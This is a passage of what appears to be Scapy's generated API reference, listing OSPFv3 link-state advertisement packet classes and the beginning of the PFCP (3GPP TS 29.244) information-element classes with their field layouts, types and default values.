 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |                    OPTIONS                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RESERVED2   |                     METRIC                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     ROUTER                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                Fig. OSPFv3_Inter_Area_Router_LSA                 


OSPFv3_Inter_Area_Router_LSA fields






	age

	ShortField

	1



	type

	ShortEnumField

	8196



	id

	IPField

	'0.0.0.0'



	adrouter

	IPField

	'1.1.1.1'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	reserved

	ByteField

	0



	options

	OSPFv3OptionsField

	<Flag 0 ()>



	reserved2

	ByteField

	0



	metric

	X3BytesField

	1



	router

	IPField

	'2.2.2.2'















	
class scapy.contrib.ospf.OSPFv3_Intra_Area_Prefix_LSA(_pkt, /, *, age=1, type=8201, id='0.0.0.0', adrouter='1.1.1.1', seq=2147483649, chksum=None, len=None, prefixes=None, reflstype=0, reflsid='0.0.0.0', refadrouter='0.0.0.0', prefixlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L697-L711]

	Bases: OSPF_BaseLSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PREFIXES           |           REFLSTYPE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            REFLSID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          REFADROUTER                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PREFIXLIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. OSPFv3_Intra_Area_Prefix_LSA                 


OSPFv3_Intra_Area_Prefix_LSA fields






	age

	ShortField

	1



	type

	ShortEnumField

	8201



	id

	IPField

	'0.0.0.0'



	adrouter

	IPField

	'1.1.1.1'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	prefixes

	FieldLenField

	None



	reflstype

	ShortEnumField

	0



	reflsid

	IPField

	'0.0.0.0'



	refadrouter

	IPField

	'0.0.0.0'



	prefixlist

	PacketListField

	[]















	
class scapy.contrib.ospf.OSPFv3_LSA_Hdr(_pkt, /, *, age=1, type=8193, id='0.0.0.0', adrouter='1.1.1.1', seq=2147483649, chksum=0, len=36)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L526-L537]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L536-L537]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OSPFv3_LSA_Hdr                        


OSPFv3_LSA_Hdr fields






	age

	ShortField

	1



	type

	ShortEnumField

	8193



	id

	IPField

	'0.0.0.0'



	adrouter

	IPField

	'1.1.1.1'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	0



	len

	ShortField

	36















	
class scapy.contrib.ospf.OSPFv3_LSAck(_pkt, /, *, lsaheaders=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L753-L757]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LSAHEADERS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OSPFv3_LSAck                         


OSPFv3_LSAck fields






	lsaheaders

	PacketListField

	[]















	
class scapy.contrib.ospf.OSPFv3_LSReq(_pkt, /, *, requests=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L738-L742]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            REQUESTS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OSPFv3_LSReq                         


OSPFv3_LSReq fields






	requests

	PacketListField

	[]















	
class scapy.contrib.ospf.OSPFv3_LSReq_Item(_pkt, /, *, reserved=0, type=8193, id='1.1.1.1', adrouter='1.1.1.1')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L727-L735]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L734-L735]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RESERVED           |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OSPFv3_LSReq_Item                      


OSPFv3_LSReq_Item fields






	reserved

	ShortField

	0



	type

	ShortEnumField

	8193



	id

	IPField

	'1.1.1.1'



	adrouter

	IPField

	'1.1.1.1'















	
class scapy.contrib.ospf.OSPFv3_LSUpd(_pkt, /, *, lsacount=None, lsalist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L745-L750]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            LSACOUNT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            LSALIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OSPFv3_LSUpd                         


OSPFv3_LSUpd fields






	lsacount

	FieldLenField

	None



	lsalist

	PacketListField

	[]















	
class scapy.contrib.ospf.OSPFv3_Link(_pkt, /, *, type=1, reserved=0, metric=10, intid=0, neighintid=0, neighbor='2.2.2.2')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L559-L569]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L568-L569]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |    RESERVED   |             METRIC            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             INTID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           NEIGHINTID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NEIGHBOR                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OSPFv3_Link                         


OSPFv3_Link fields






	type

	ByteEnumField

	1



	reserved

	ByteField

	0



	metric

	ShortField

	10



	intid

	IntField

	0



	neighintid

	IntField

	0



	neighbor

	IPField

	'2.2.2.2'















	
class scapy.contrib.ospf.OSPFv3_Link_LSA(_pkt, /, *, age=1, type=8, id='0.0.0.0', adrouter='1.1.1.1', seq=2147483649, chksum=None, len=None, prio=1, options=<Flag 0 ()>, lladdr='fe80::', prefixes=None, prefixlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L680-L694]

	Bases: OSPF_BaseLSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PRIO     |                    OPTIONS                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LLADDR                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PREFIXES                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PREFIXLIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OSPFv3_Link_LSA                       


OSPFv3_Link_LSA fields






	age

	ShortField

	1



	type

	ShortEnumField

	8



	id

	IPField

	'0.0.0.0'



	adrouter

	IPField

	'1.1.1.1'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	prio

	ByteField

	1



	options

	OSPFv3OptionsField

	<Flag 0 ()>



	lladdr

	IP6Field

	'fe80::'



	prefixes

	FieldLenField

	None



	prefixlist

	PacketListField

	[]















	
class scapy.contrib.ospf.OSPFv3_Network_LSA(_pkt, /, *, age=1, type=8194, id='0.0.0.0', adrouter='1.1.1.1', seq=2147483649, chksum=None, len=None, reserved=0, options=<Flag 0 ()>, routerlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L587-L599]

	Bases: OSPF_BaseLSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |                    OPTIONS                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ROUTERLIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OSPFv3_Network_LSA                      


OSPFv3_Network_LSA fields






	age

	ShortField

	1



	type

	ShortEnumField

	8194



	id

	IPField

	'0.0.0.0'



	adrouter

	IPField

	'1.1.1.1'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	reserved

	ByteField

	0



	options

	OSPFv3OptionsField

	<Flag 0 ()>



	routerlist

	FieldListField

	[]















	
class scapy.contrib.ospf.OSPFv3_Prefix_Item(_pkt, /, *, prefixlen=None, prefixoptions=<Flag 0 ()>, metric=10, prefix=('2001:db8:0:42::', 64))[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L669-L677]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L676-L677]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   PREFIXLEN   | PREFIXOPTIONS |             METRIC            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PREFIX                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OSPFv3_Prefix_Item                      


OSPFv3_Prefix_Item fields






	prefixlen

	FieldLenField

	None



	prefixoptions

	OSPFv3PrefixOptionsField

	<Flag 0 ()>



	metric

	ShortField

	10



	prefix

	IP6PrefixField

	('2001:db8:0:42::', 64)















	
class scapy.contrib.ospf.OSPFv3_Router_LSA(_pkt, /, *, age=1, type=8193, id='0.0.0.0', adrouter='1.1.1.1', seq=2147483649, chksum=None, len=None, flags=<Flag 0 ()>, options=<Flag 0 ()>, linklist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L572-L584]

	Bases: OSPF_BaseLSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |                    OPTIONS                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            LINKLIST           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OSPFv3_Router_LSA                      


OSPFv3_Router_LSA fields






	age

	ShortField

	1



	type

	ShortEnumField

	8193



	id

	IPField

	'0.0.0.0'



	adrouter

	IPField

	'1.1.1.1'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	flags

	FlagsField

	<Flag 0 ()>



	options

	OSPFv3OptionsField

	<Flag 0 ()>



	linklist

	PacketListField

	[]















	
class scapy.contrib.ospf.OSPFv3_Type_7_LSA(_pkt, /, *, age=1, type=8199, id='0.0.0.0', adrouter='1.1.1.1', seq=2147483649, chksum=None, len=None, flags=<Flag 0 ()>, metric=20, prefixlen=None, prefixoptions=<Flag 0 ()>, reflstype=0, prefix=('2001:db8:0:42::', 64), fwaddr='::', tag=0, reflsid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L664-L666]

	Bases: OSPFv3_AS_External_LSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |                     METRIC                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   PREFIXLEN   | PREFIXOPTIONS |   REFLSTYPE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     PREFIX                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     FWADDR                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      TAG                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    REFLSID                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. OSPFv3_Type_7_LSA                      


OSPFv3_Type_7_LSA fields






	age

	ShortField

	1



	type

	ShortEnumField

	8199



	id

	IPField

	'0.0.0.0'



	adrouter

	IPField

	'1.1.1.1'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	flags

	FlagsField

	<Flag 0 ()>



	metric

	X3BytesField

	20



	prefixlen

	FieldLenField

	None



	prefixoptions

	OSPFv3PrefixOptionsField

	<Flag 0 ()>



	reflstype

	ShortEnumField

	0



	prefix

	IP6PrefixField

	('2001:db8:0:42::', 64)



	fwaddr

	IP6Field (Cond)

	'::'



	tag

	IntField (Cond)

	0



	reflsid

	IPField (Cond)

	0















	
scapy.contrib.ospf.ospf_lsa_checksum(lsa)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L210-L211]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.pfcp

3GPP TS 29.244


	
class scapy.contrib.pfcp.APNStrLenField(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L413-L431]

	Bases: StrLenField


	
i2m(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L429-L431]

	




	
m2i(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L415-L427]

	








	
class scapy.contrib.pfcp.ExtraDataField(name, default=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L434-L448]

	Bases: StrField


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L438-L439]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L441-L445]

	




	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L447-L448]

	








	
class scapy.contrib.pfcp.IE_3GPP_InterfaceType(_pkt, /, *, ietype=0, length=None, spare_1=0, interface_type=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2247-L2254]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SPA|INTERFACE T|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_3GPP_InterfaceType                    


IE_3GPP_InterfaceType fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare_1

	XBitField  (2 bits)

	0



	interface_type

	BitEnumField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 160

	








	
class scapy.contrib.pfcp.IE_APN_DNN(_pkt, /, *, ietype=0, length=None, apn_dnn=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2239-L2244]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            APN DNN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IE_APN_DNN                          


IE_APN_DNN fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	apn_dnn

	APNStrLenField

	b''











	
ie_type = 159

	








	
class scapy.contrib.pfcp.IE_ActivatePredefinedRules(_pkt, /, *, ietype=0, length=None, name='IE Activate Predefined Rules')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1697-L1702]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              NAME             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. IE_ActivatePredefinedRules                  


IE_ActivatePredefinedRules fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	name

	StrLenField

	'IE Activate Predefined Rules'











	
ie_type = 106

	








	
class scapy.contrib.pfcp.IE_AdditionalMonitoringTime(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L711-L713]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. IE_AdditionalMonitoringTime                 


IE_AdditionalMonitoringTime fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 147

	








	
class scapy.contrib.pfcp.IE_AdditionalUsageReportsInformation(_pkt, /, *, ietype=0, length=None, AURI=0, reports=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1909-L1916]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
